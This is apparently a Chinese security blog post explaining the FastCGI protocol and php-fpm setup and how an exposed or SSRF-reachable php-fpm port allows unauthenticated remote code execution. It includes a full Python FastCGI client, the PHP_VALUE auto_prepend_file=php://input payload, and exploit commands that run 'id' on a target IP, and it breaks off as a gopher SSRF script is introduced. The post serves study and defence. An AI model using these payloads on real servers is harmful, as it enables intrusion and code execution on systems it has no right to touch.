关于php-fpm之前自己了解的并不多,不过之前在比赛的时候遇到过几次,但是自己太菜了没做到那一步,最近放假在刷文章的时候感觉php-fpm攻击很有意思,因为涉及到协议交互的问题,能让自己在摸索的过程中学习到很多东西。虽然p牛的文章已经很详细,但是我还是打算对其进行细细研究和探讨一番。
官方定义如下: FastCGI 进程管理器(FPM)
FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。
故名思义,FPM是管理FastCGI进程的,能够解析fastcgi协议。
www.example.com
|
|
Nginx
|
|
路由到www.example.com/index.php
|
|
加载nginx的fast-cgi模块
|
|
fast-cgi监听127.0.0.1:9000地址
|
|
www.example.com/index.php请求到达127.0.0.1:9000
|
|
php-fpm 监听127.0.0.1:9000
|
|
php-fpm 接收到请求,启用worker进程处理请求
|
|
php-fpm 处理完请求,返回给nginx
|
|
nginx将结果通过http返回给浏览器
FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,也就是说FPM的功能大部分是FastCGI的功能,所以我们可以了解下FastCGI的作用。
FastCGI本质是一种协议,在cgi协议的基础上发展起来的。
cgi的历史:
早期的webserver只处理html等静态文件,但是随着技术的发展,出现了像php等动态语言。
webserver处理不了了,怎么办呢?那就交给php解释器来处理吧!
交给php解释器处理很好,但是,php解释器如何与webserver进行通信呢?
为了解决不同的语言解释器(如php、python解释器)与webserver的通信,于是出现了cgi协议。只要你按照cgi协议去编写程序,就能实现语言解释器与webwerver的通信。如php-cgi程序。
Fast-CGI:
虽然cgi解决php解释器与webserver的通信问题,但是webserver每收到一个请求就会去fork一个cgi进程,请求结束再kill掉这个进程,这样会很浪费资源,于是出现了cgi的改良版本。
fast-cgi每次处理完请求后,不会kill掉这个进程,而是保留这个进程,使这个进程可以一次处理多个请求。这样每次就不用重新fork一个进程了,大大提高了效率。
总结来说:
php-fpm 是一个Fastcgi的实现,并提供进程管理功能。
进程包含了master进程和worker进程
master进程只有一个,负责监听端口(一般是9000)接收来自Web Server的请求,而worker进程则一般有多个(具体数量根据实际需要配置),每个进程内部都嵌入了一个php解释器,是php代码真正执行的地方。
上面第一个是主进程,下面两个是worker进程。
了解玩php-fpm之后,我们就需要进行安装php-fpm了。
操作如下:
参考官方文档: PHP 手册 安装与配置 FastCGI 进程管理器(FPM)
编译 PHP 时需要 --enable-fpm 配置选项来激活 FPM 支持。
以下为 FPM 编译的具体配置参数(全部为可选参数):
- --with-fpm-user - 设置 FPM 运行的用户身份(默认 - nobody)
- --with-fpm-group - 设置 FPM 运行时的用户组(默认 - nobody)
- --with-fpm-systemd - 启用 systemd 集成 (默认 - no)
- --with-fpm-acl - 使用POSIX 访问控制列表 (默认 - no) 5.6.5版本起有效
1. sudo apt update 2. sudo apt install -y nginx 3. sudo apt install -y software-properties-common 4. sudo add-apt-repository -y ppa:ondrej/php 5. sudo apt update 6. sudo apt install -y php7.3-fpm
php-fpm的通信方式有tcp和套接字(unix socket)两种方式
1.tcp方式的话就是直接fpm直接通过监听本地9000端口来进行通信
2.unix socket其实严格意义上应该叫unix domain socket,它是*nix系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为socket的唯一标识(描述符),需要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信了。
Unix domain socket 或者 IPC socket是一种终端,可以使同一台操作系统上的两个或多个进程进行数据通信。与管道相比,Unix domain sockets 既可以使用字节流和数据队列,而管道通信则只能通过字节流。Unix domain sockets的接口和Internet socket很像,但它不使用网络底层协议来通信。Unix domain socket 的功能是POSIX操作系统里的一种组件。Unix domain sockets 使用系统文件的地址来作为自己的身份。它可以被系统进程引用。所以两个进程可以同时打开一个Unix domain sockets来进行通信。不过这种通信方式是发生在系统内核里而不会在网络里传播
效率方面,由于tcp需要经过本地回环驱动,还要申请临时端口和tcp相关资源,所以会比socket差,但是在多并发条件下tcp的比socket有优势。 基于两种通信方式不同,所以在攻击的时候也会有相应的差别。
1.sudo vim /etc/nginx/sites-enabled/default
查看默认的安装的配置文件
从16行开始就是nginx的配置,去掉从51行开始的注释,然后注释掉57行的sock方式。
ubuntu下默认的nginx安装路径为: /etc/nginx
,所以fastcgi-php的文件路径在/snippets
下
下面是nginx配置文件的讲解:
server {
listen 80 default_server; # 监听80端口,接收http请求
servername ; # 网站地址
root /var/www/html; # 网站根目录
location /{
#First attempt to serve request as file, then
# as directory, then fall back to displaying a 404. try_files \$uri \$uri/ =404; # 文件不存在就返回404状态
}
# 下面是重点
location ~ .php$ {
include snippets/fastcgi-php.conf; #加载nginx的fastcgi模块
# With php7.0-cgi alone: fastcgi_pass 127.0.0.1:9000; # 监听nginx fastcgi进程监听的ip地址和端口
# With php7.0-fpm:
# fastcgi_pass unix:/run/php/php7.0-fpm.sock;
}}
修改成如上配置就好了.
sudo vim /etc/php/7.3/fpm/pool.d/www.conf
修改为:
listen = 127.0.0.1:9000
以上配置完成,我们在重启nginx和启动php-fpm(这是独立于nginx的一个进程)
1./etc/init.d/php7.3-fpm start
2.service nginx reload
结果发现502错误,我们可以通过查看fpm的错误文件查看原因
/etc/php/7.3/fpm/php-fpm.conf
得到error_log的存在位置
error_log = /var/log/php7.3-fpm.log
发现不是这个问题
后来查看cat /var/log/nginx/error.log
可以看到php-fpm没有启动起来
这个时候可以尝试下重启命令,来加载修改的配置文件:
/etc/init.d/php7.3-fpm restart
查看9000端口的情况:
netstat -ap | grep 9000
然后再重新访问:
http://127.0.0.1/phpinfo.php
可以看到成功启动了FPM/FastCGI模式
socket模式的话跟上面差不多,修改的是:
sudo vim /etc/nginx/sites-enabled/default
注释掉之前的tcp端口,然后修改为:/run/php/php7.3-fpm.sock
这个路径可以在/etc/php/7.3/fpm/pool.d/www.conf
查看到,当然你也可以修改为别的,比如
/dev/shm
这个是tmpfs,RAM可以直接读取,速度很快,但是你就需要修改两个文件统一起来
sudo vim /etc/php/7.3/fpm/pool.d/www.con
修改为如下:
即可,然后重启就ok了。
这里采取p神的vulnhub的环境:
在目录下编写个docker-compose.yml
文件
version: '2'
services:
php:
image: php:fpm
ports:
- "9000:9000"
docker-compose up -d
如果失败的话,建议直接git clone 下来再去执行
了解了上面内容,其实就是php-fpm的工作流程,那么工作流程容易发生的脆弱点在哪里?
交互验证
我与@ev0a师傅交流过,这个漏洞是php-fpm一个设计缺陷,因为分别是两个进程通信没有进行安全性验证。
所以我们可以伪造nginx的发送fastCGI封装的数据给php-fpm去解析就可以造成一定问题
那么问题有多严重? 任意代码执行
那么怎么实现任意代码执行呢?
这个可以从FastCGI协议封装数据内容来看:
typedef struct { /* Header */ unsigned char version; // 版本 unsigned char type; // 本次record的类型 unsigned char requestIdB1; // 本次record对应的请求id unsigned char requestIdB0; unsigned char contentLengthB1; // body体的大小 unsigned char contentLengthB0; unsigned char paddingLength; // 额外块大小 unsigned char reserved; /* Body */ unsigned char contentData[contentLength]; unsigned char paddingData[paddingLength]; } FCGI_Record;
语言端解析了fastcgi头以后,拿到
contentLength
,然后再在TCP流里读取大小等于contentLength
的数据,这就是body体。Body后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,起保留作用。不需要该Padding的时候,将其长度设置为0即可。
可见,一个fastcgi record结构最大支持的body大小是
2^16
,也就是65536字节。
当type=4时,设置环境变量实际请求中就会类似如下键值对:
{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' }
其中有个关键的地方,'SCRIPT_FILENAME': '/var/www/html/index.php',
代表着php-fpm会去执行这个文件。
虽然我们可以控制php-fpm去执行一个存在的文件
在php5.3.9之后加入了fpm增加了security.limit_extensions
选项
; Limits the extensions of the main script FPM will allow to parse. This can ; prevent configuration mistakes on the web server side. You should only limit ; FPM to .php extensions to prevent malicious users to use other extensions to ; exectute php code. ; Note: set an empty value to allow all extensions. ; Default Value: .php ;security.limit_extensions = .php .php3 .php4 .php5 .php7
导致我们只能控制php-fpm去执行一个.php .php3之类的后缀的文件,这个我们可以通过爆破web目录,默认安装环境下php文件来进行控制。
虽然我们可以控制执行任意一个php文件,但是我们还得需要控制内容写入恶意代码才行。
前面我们已经知道了,fastCGI的作用是把'SCRIPT_FILENAME'
的文件交予给woker进程解析,所以我们没办法去控制内容,但是php-fpm可以设置环境变量。
'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On'
我们可以通过PHP_VALUE
PHP_ADMIN_VALUE
来设置php配置项,参考php-fpm.conf 全局配置段
fastcgi是否也支持类似的动态修改php的配置?我查了一下资料,发现原本FPM是不支持的,直到某开发者提交了一个bug,php官方才将此特性Merge到php 5.3.3的源码中去。
通用通过设置FASTCGI_PARAMS,我们可以利用PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置。
当设置php环境变量为:
auto_prepend_file = php://input;allow_url_include = On
就会在执行php脚本之前包含auto_prepend_file
文件的内容,php://input
也就是POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码。
至此完成php-fpm未授权的任意代码执行攻击。
其实原理就是编写一个FastCGI 的客户端,然后修改发送的数据为我们的恶意代码就可以了。
分享个p牛脚本里面的一个client客户端: Python FastCGI Client
还要php语言客户端: fastcgi客户端PHP语言实现
分析下githud上client客户端这个脚本的架构:
#!/usr/bin/python import socket import random class FastCGIClient: """A Fast-CGI Client for Python""" # private __FCGI_VERSION = 1 __FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3 __FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11 __FCGI_HEADER_SIZE = 8 # request state FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3 def __init__(self, host, port, timeout, keepalive): self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else: self.keepalive = 0 self.sock = None self.requests = dict() def __connect(self): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # if self.keepalive: # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1) # else: # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0) try: self.sock.connect((self.host, int(self.port))) except socket.error as msg: self.sock.close() self.sock = None print(repr(msg)) return False return True def __encodeFastCGIRecord(self, fcgi_type, content, requestid): length = len(content) return chr(FastCGIClient.__FCGI_VERSION) \ + chr(fcgi_type) \ + chr((requestid >> 8) & 0xFF) \ + chr(requestid & 0xFF) \ + chr((length >> 8) & 0xFF) \ + chr(length & 0xFF) \ + chr(0) \ + chr(0) \ + content def __encodeNameValueParams(self, name, value): nLen = len(str(name)) vLen = len(str(value)) record = '' if nLen < 128: record += chr(nLen) else: record += chr((nLen >> 24) | 0x80) \ + chr((nLen >> 16) & 0xFF) \ + chr((nLen >> 8) & 0xFF) \ + chr(nLen & 0xFF) if vLen < 128: record += chr(vLen) else: record += chr((vLen >> 24) | 0x80) \ + chr((vLen >> 16) & 0xFF) \ + chr((vLen >> 8) & 0xFF) \ + chr(vLen & 0xFF) return record + str(name) + str(value) def __decodeFastCGIHeader(self, stream): header = dict() header['version'] = ord(stream[0]) header['type'] = ord(stream[1]) header['requestId'] = (ord(stream[2]) << 8) + ord(stream[3]) header['contentLength'] = (ord(stream[4]) << 8) + ord(stream[5]) header['paddingLength'] = ord(stream[6]) header['reserved'] = ord(stream[7]) return header def __decodeFastCGIRecord(self): header = self.sock.recv(int(FastCGIClient.__FCGI_HEADER_SIZE)) if not header: return False else: record = self.__decodeFastCGIHeader(header) record['content'] = '' if 'contentLength' in record.keys(): contentLength = int(record['contentLength']) buffer = self.sock.recv(contentLength) while contentLength and buffer: contentLength -= len(buffer) record['content'] += buffer if 'paddingLength' in record.keys(): skiped = self.sock.recv(int(record['paddingLength'])) return record def request(self, nameValuePairs={}, post=''): if not self.__connect(): print('connect failure! please check your fasctcgi-server !!') return requestId = random.randint(1, (1 << 16) - 1) self.requests[requestId] = dict() request = "" beginFCGIRecordContent = chr(0) \ + chr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + chr(self.keepalive) \ + chr(0) * 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = '' if nameValuePairs: for (name, value) in nameValuePairs.iteritems(): # paramsRecord = self.__encodeNameValueParams(name, value) # request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) paramsRecord += self.__encodeNameValueParams(name, value) if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, '', requestId) if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, post, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, '', requestId) self.sock.send(request) self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND self.requests[requestId]['response'] = '' return self.__waitForResponse(requestId) def __waitForResponse(self, requestId): while True: response = self.__decodeFastCGIRecord() if not response: break if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR if requestId == int(response['requestId']): self.requests[requestId]['response'] += response['content'] if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS: self.requests[requestId] return self.requests[requestId]['response'] def __repr__(self): return "fastcgi connect host:{} port:{}".format(self.host, self.port)
Fastcgi
协议是由一段一段的数据段组成,可以想象成一个车队,每辆车装了不同的数据,但是车队的顺序是固定的。输入时顺序为:请求开始描述、请求键值对、请求输入数据流。输出时顺序为:错误输出数据流、正常输出数据流、请求结束描述。
其中键值对、输入流、输出流,错误流的数据和CGI
程序是一样的,只不过是换了种传输方式而已。
再回到车队的描述,每辆车的结构也是统一的,在前面都有一个引擎,引擎决定了你的车是什么样的。所以,每个数据块都包含一个头部信息,结构如下:typedef struct { unsigned char version; // 版本号 unsigned char type; // 记录类型 unsigned char requestIdB1; // 记录id高8位 unsigned char requestIdB0; // 记录id低8位 unsigned char contentLengthB1; // 记录内容长度高8位 unsigned char contentLengthB0; // 记录内容长度低8位 unsigned char paddingLength; // 补齐位长度 unsigned char reserved; // 真·记录头部补齐位 } FCGI_Header;当处于__FCGI_TYPE_BEGIN = 1 请求输入的状态的时候,需要一个描述FastCGI服务器充当的角色以及相关的设定
typedef struct { unsigned char roleB1; // 角色类型高8位 unsigned char roleB0; // 角色类型低8位 unsigned char flags; // 小红旗 unsigned char reserved[5]; // 补齐位 } FCGI_BeginRequestBody;
官方在升级
CGI
的时候,同时加入了多种角色给Fastcgi
协议,其中定义为:#define FCGI_RESPONDER 1 响应器 #define FCGI_AUTHORIZER 2 权限控制授权器 #define FCGI_FILTER 3 处理特殊数据的过滤器
对应脚本开头那一段设置全局变量:
# 版本号
__FCGI_VERSION = 1
# FastCGI服务器角色及其设置
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
# type 记录类型
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
介绍下几个关键代码:
requestId = random.randint(1, (1 << 16) - 1)
区分多段Record.requestId作为同一次请求的标志,unsigned char requestId
变量大小为1字节,8bit确定了范围
我们采取tcpdump看下nginx的客户端通信过程:
指定本地回环网卡,获取9000端口的数据包
sudo tcpdump -nn -i lo tcp dst port 9000
解析包数据:
sudo tcpdump -q -XX -vvv -nn -i lo tcp dst port 9000
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
14:27:45.469909 IP (tos 0x0, ttl 64, id 36556, offset 0, flags [DF], proto TCP (6), length 60)
127.0.0.1.56188 > 127.0.0.1.9000: tcp 0
0x0000: 0000 0000 0000 0000 0000 0000 0800 4500 ..............E.
0x0010: 003c 8ecc 4000 4006 aded 7f00 0001 7f00 .<..@.@.........
0x0020: 0001 db7c 2328 808f 223c 0000 0000 a002 ...|#(.."<......
0x0030: aaaa fe30 0000 0204 ffd7 0402 080a 2094 ...0............
0x0040: 80a5 0000 0000 0103 0307 ..........
14:27:45.469928 IP (tos 0x0, ttl 64, id 36557, offset 0, flags [DF], proto TCP (6), length 52)
127.0.0.1.56188 > 127.0.0.1.9000: tcp 0
0x0000: 0000 0000 0000 0000 0000 0000 0800 4500 ..............E.
0x0010: 0034 8ecd 4000 4006 adf4 7f00 0001 7f00 .4..@.@.........
0x0020: 0001 db7c 2328 808f 223d 446c 9160 8010 ...|#(.."=Dl.`..
0x0030: 0156 fe28 0000 0101 080a 2094 80a5 2094 .V.(............
0x0040: 80a5 ..
14:27:45.469956 IP (tos 0x0, ttl 64, id 36558, offset 0, flags [DF], proto TCP (6), length 844)
127.0.0.1.56188 > 127.0.0.1.9000: tcp 792
0x0000: 0000 0000 0000 0000 0000 0000 0800 4500 ..............E.
0x0010: 034c 8ece 4000 4006 aadb 7f00 0001 7f00 .L..@.@.........
0x0020: 0001 db7c 2328 808f 223d 446c 9160 8018 ...|#(.."=Dl.`..
0x0030: 0156 0141 0000 0101 080a 2094 80a5 2094 .V.A............
0x0040: 80a5 0101 0001 0008 0000 0001 0000 0000 ................
0x0050: 0000 0104 0001 02ef 0100 0900 5041 5448 ............PATH
0x0060: 5f49 4e46 4f0f 1953 4352 4950 545f 4649 _INFO..SCRIPT_FI
0x0070: 4c45 4e41 4d45 2f76 6172 2f77 7777 2f68 LENAME/var/www/h
0x0080: 746d 6c2f 7068 7069 6e66 6f2e 7068 700c tml/phpinfo.php.
0x0090: 0051 5545 5259 5f53 5452 494e 470e 0352 .QUERY_STRING..R
0x00a0: 4551 5545 5354 5f4d 4554 484f 4447 4554 EQUEST_METHODGET
0x00b0: 0c00 434f 4e54 454e 545f 5459 5045 0e00 ..CONTENT_TYPE..
0x00c0: 434f 4e54 454e 545f 4c45 4e47 5448 0b0c CONTENT_LENGTH..
0x00d0: 5343 5249 5054 5f4e 414d 452f 7068 7069 SCRIPT_NAME/phpi
0x00e0: 6e66 6f2e 7068 700b 0c52 4551 5545 5354 nfo.php..REQUEST
0x00f0: 5f55 5249 2f70 6870 696e 666f 2e70 6870 _URI/phpinfo.php
0x0100: 0c0c 444f 4355 4d45 4e54 5f55 5249 2f70 ..DOCUMENT_URI/p
0x0110: 6870 696e 666f 2e70 6870 0d0d 444f 4355 hpinfo.php..DOCU
0x0120: 4d45 4e54 5f52 4f4f 542f 7661 722f 7777 MENT_ROOT/var/ww
0x0130: 772f 6874 6d6c 0f08 5345 5256 4552 5f50 w/html..SERVER_P
0x0140: 524f 544f 434f 4c48 5454 502f 312e 310e ROTOCOLHTTP/1.1.
0x0150: 0452 4551 5545 5354 5f53 4348 454d 4568 .REQUEST_SCHEMEh
0x0160: 7474 7011 0747 4154 4557 4159 5f49 4e54 ttp..GATEWAY_INT
0x0170: 4552 4641 4345 4347 492f 312e 310f 0c53 ERFACECGI/1.1..S
0x0180: 4552 5645 525f 534f 4654 5741 5245 6e67 ERVER_SOFTWAREng
0x0190: 696e 782f 312e 3130 2e33 0b09 5245 4d4f inx/1.10.3..REMO
0x01a0: 5445 5f41 4444 5231 3237 2e30 2e30 2e31 TE_ADDR127.0.0.1
0x01b0: 0b05 5245 4d4f 5445 5f50 4f52 5435 3430 ..REMOTE_PORT540
0x01c0: 3834 0b09 5345 5256 4552 5f41 4444 5231 84..SERVER_ADDR1
0x01d0: 3237 2e30 2e30 2e31 0b02 5345 5256 4552 27.0.0.1..SERVER
0x01e0: 5f50 4f52 5438 300b 0153 4552 5645 525f _PORT80..SERVER_
0x01f0: 4e41 4d45 5f0f 0352 4544 4952 4543 545f NAME_..REDIRECT_
0x0200: 5354 4154 5553 3230 3009 0948 5454 505f STATUS200..HTTP_
0x0210: 484f 5354 3132 372e 302e 302e 310f 4c48 HOST127.0.0.1.LH
0x0220: 5454 505f 5553 4552 5f41 4745 4e54 4d6f TTP_USER_AGENTMo
0x0230: 7a69 6c6c 612f 352e 3020 2858 3131 3b20 zilla/5.0.(X11;.
0x0240: 5562 756e 7475 3b20 4c69 6e75 7820 7838 Ubuntu;.Linux.x8
0x0250: 365f 3634 3b20 7276 3a36 372e 3029 2047 6_64;.rv:67.0).G
0x0260: 6563 6b6f 2f32 3031 3030 3130 3120 4669 ecko/20100101.Fi
0x0270: 7265 666f 782f 3637 2e30 0b3f 4854 5450 refox/67.0.?HTTP
0x0280: 5f41 4343 4550 5474 6578 742f 6874 6d6c _ACCEPTtext/html
0x0290: 2c61 7070 6c69 6361 7469 6f6e 2f78 6874 ,application/xht
0x02a0: 6d6c 2b78 6d6c 2c61 7070 6c69 6361 7469 ml+xml,applicati
0x02b0: 6f6e 2f78 6d6c 3b71 3d30 2e39 2c2a 2f2a on/xml;q=0.9,*/*
0x02c0: 3b71 3d30 2e38 140e 4854 5450 5f41 4343 ;q=0.8..HTTP_ACC
0x02d0: 4550 545f 4c41 4e47 5541 4745 656e 2d55 EPT_LANGUAGEen-U
0x02e0: 532c 656e 3b71 3d30 2e35 140d 4854 5450 S,en;q=0.5..HTTP
0x02f0: 5f41 4343 4550 545f 454e 434f 4449 4e47 _ACCEPT_ENCODING
0x0300: 677a 6970 2c20 6465 666c 6174 650f 0a48 gzip,.deflate..H
0x0310: 5454 505f 434f 4e4e 4543 5449 4f4e 6b65 TTP_CONNECTIONke
0x0320: 6570 2d61 6c69 7665 1e01 4854 5450 5f55 ep-alive..HTTP_U
0x0330: 5047 5241 4445 5f49 4e53 4543 5552 455f PGRADE_INSECURE_
0x0340: 5245 5155 4553 5453 3100 0104 0001 0000 REQUESTS1.......
0x0350: 0000 0105 0001 0000 0000 ..........
14:27:45.471673 IP (tos 0x0, ttl 64, id 36559, offset 0, flags [DF], proto TCP (6), length 52)
127.0.0.1.56188 > 127.0.0.1.9000: tcp 0
0x0000: 0000 0000 0000 0000 0000 0000 0800 4500 ..............E.
0x0010: 0034 8ecf 4000 4006 adf2 7f00 0001 7f00 .4..@.@.........
0x0020: 0001 db7c 2328 808f 2555 446c 91a0 8010 ...|#(..%UDl....
0x0030: 0156 fe28 0000 0101 080a 2094 80a5 2094 .V.(............
0x0040: 80a5 ..
14:27:45.471699 IP (tos 0x0, ttl 64, id 36560, offset 0, flags [DF], proto TCP (6), length 52)
127.0.0.1.56188 > 127.0.0.1.9000: tcp 0
0x0000: 0000 0000 0000 0000 0000 0000 0800 4500 ..............E.
0x0010: 0034 8ed0 4000 4006 adf1 7f00 0001 7f00 .4..@.@.........
0x0020: 0001 db7c 2328 808f 2555 446c e720 8010 ...|#(..%UDl....
0x0030: 0555 fe28 0000 0101 080a 2094 80a5 2094 .U.(............
0x0040: 80a5 ..
14:27:45.471755 IP (tos 0x0, ttl 64, id 36561, offset 0, flags [DF], proto TCP (6), length 52)
127.0.0.1.56188 > 127.0.0.1.9000: tcp 0
0x0000: 0000 0000 0000 0000 0000 0000 0800 4500 ..............E.
0x0010: 0034 8ed1 4000 4006 adf0 7f00 0001 7f00 .4..@.@.........
0x0020: 0001 db7c 2328 808f 2555 446d 9198 8010 ...|#(..%UDm....
0x0030: 0954 fe28 0000 0101 080a 2094 80a5 2094 .T.(............
0x0040: 80a5 ..
14:27:45.473520 IP (tos 0x0, ttl 64, id 36564, offset 0, flags [DF], proto TCP (6), length 52)
127.0.0.1.56188 > 127.0.0.1.9000: tcp 0
0x0000: 0000 0000 0000 0000 0000 0000 0800 4500 ..............E.
0x0010: 0034 8ed4 4000 4006 aded 7f00 0001 7f00 .4..@.@.........
0x0020: 0001 db7c 2328 808f 2555 446d 91d9 8011 ...|#(..%UDm....
0x0030: 0954 fe28 0000 0101 080a 2094 80a6 2094 .T.(............
0x0040: 80a5 ..
sudo tcpdump -q -XX -vvv -nn -i lo tcp dst port 9000 -w /tmp/1.cap
保存然后在wireshark进行分析下,发现还是很难看出通信规律(二进制流数据没办法看出怎么发送数据包的,tcl),最后问了下p牛,然后我跑去看nginx的源代码了。(未果,还是得搭建环境来debug下数据流才能,静态读太吃力了)
简单的FastCGI请求数据结构如下:
ngx_http_fastcgi_create_request
这个是关键函数
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
return chr(FastCGIClient.__FCGI_VERSION) \
+ chr(fcgi_type) \
+ chr((requestid >> 8) & 0xFF) \
+ chr(requestid & 0xFF) \
+ chr((length >> 8) & 0xFF) \
+ chr(length & 0xFF) \
+ chr(0) \
+ chr(0) \
+ content
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = ""
beginFCGIRecordContent = chr(0) \
+ chr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ chr(self.keepalive) \
+ chr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = ''
其实这些就是对应上面的结构,而且是8字节对齐的,就有了chr(0)*5
来填充。
typedef struct { u_char version; u_char type; u_char request_id_hi; u_char request_id_lo; u_char content_length_hi; u_char content_length_lo; u_char padding_length; u_char reserved; } ngx_http_fastcgi_header_t;
return chr(FastCGIClient.__FCGI_VERSION) \
+ chr(fcgi_type) \
+ chr((requestid >> 8) & 0xFF) \
+ chr(requestid & 0xFF) \
+ chr((length >> 8) & 0xFF) \
+ chr(length & 0xFF) \
+ chr(0) \
+ chr(0) \
+ content
通过&
移位控制为1字节大小(对应上面给出的header结构体变量的大小)。
if (val_len > 127) { *e.pos++ = (u_char) (((val_len >> 24) & 0x7f) | 0x80); *e.pos++ = (u_char) ((val_len >> 16) & 0xff); *e.pos++ = (u_char) ((val_len >> 8) & 0xff); *e.pos++ = (u_char) (val_len & 0xff); } else { *e.pos++ = (u_char) val_len; }
def __encodeNameValueParams(self, name, value): nLen = len(str(name)) vLen = len(str(value)) record = '' if nLen < 128: record += chr(nLen) else: record += chr((nLen >> 24) | 0x80) \ + chr((nLen >> 16) & 0xFF) \ + chr((nLen >> 8) & 0xFF) \ + chr(nLen & 0xFF) if vLen < 128: record += chr(vLen) else: record += chr((vLen >> 24) | 0x80) \ + chr((vLen >> 16) & 0xFF) \ + chr((vLen >> 8) & 0xFF) \ + chr(vLen & 0xFF) return record + str(name) + str(value)
这段代码对应上面参数的处理
其实关于如何写出各种协议的数据包的方法,如何构造链接,其实我也不是很明白,目前自己在探索的思路也就是通过查看nginx的源码,跟踪下它的发包流程来解析,后面我会继续尝试去分析清楚发包流程,如果有师傅能与我交流下这方面的技巧,深表感激。
这个场景是有些管理员为了方便吧,把fastcgi监听端口设置为: listen = 0.0.0.0:9000
而不是listen = 127.0.0.1:9000
这样子可以导致远程代码执行。
这里利用p牛的利用脚本:
python命令:
python fpm.py -c '<?php echo
id;exit;?>' 10.211.55.21 /var/www/html/phpinfo.php
默认9000端口:
python fpm.py -c '<?php echo
id;exit;?>' -p 9000 10.211.55.21 /var/www/html/phpinfo.php
看了网上一些文章说: PHP-FPM版本 >= 5.3.3
其实是因为php5.3.3之后绑定了php-fpm,然后自己配置是否启动就行了,这个条件没什么很大关系。
即使配置正确,我们依然可以通过结合其他漏洞比如ssrf来攻击本地的php-fpm服务。
这里简单谈下Gopher://
协议
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
说明gopher协议可以直接发送tcp协议流,那么我们就可以把数据流 urlencode编码构造ssrf攻击代码了
关于怎么修改其实也很简单,看我下面代码注释: (下面脚本兼容python2 and python3)
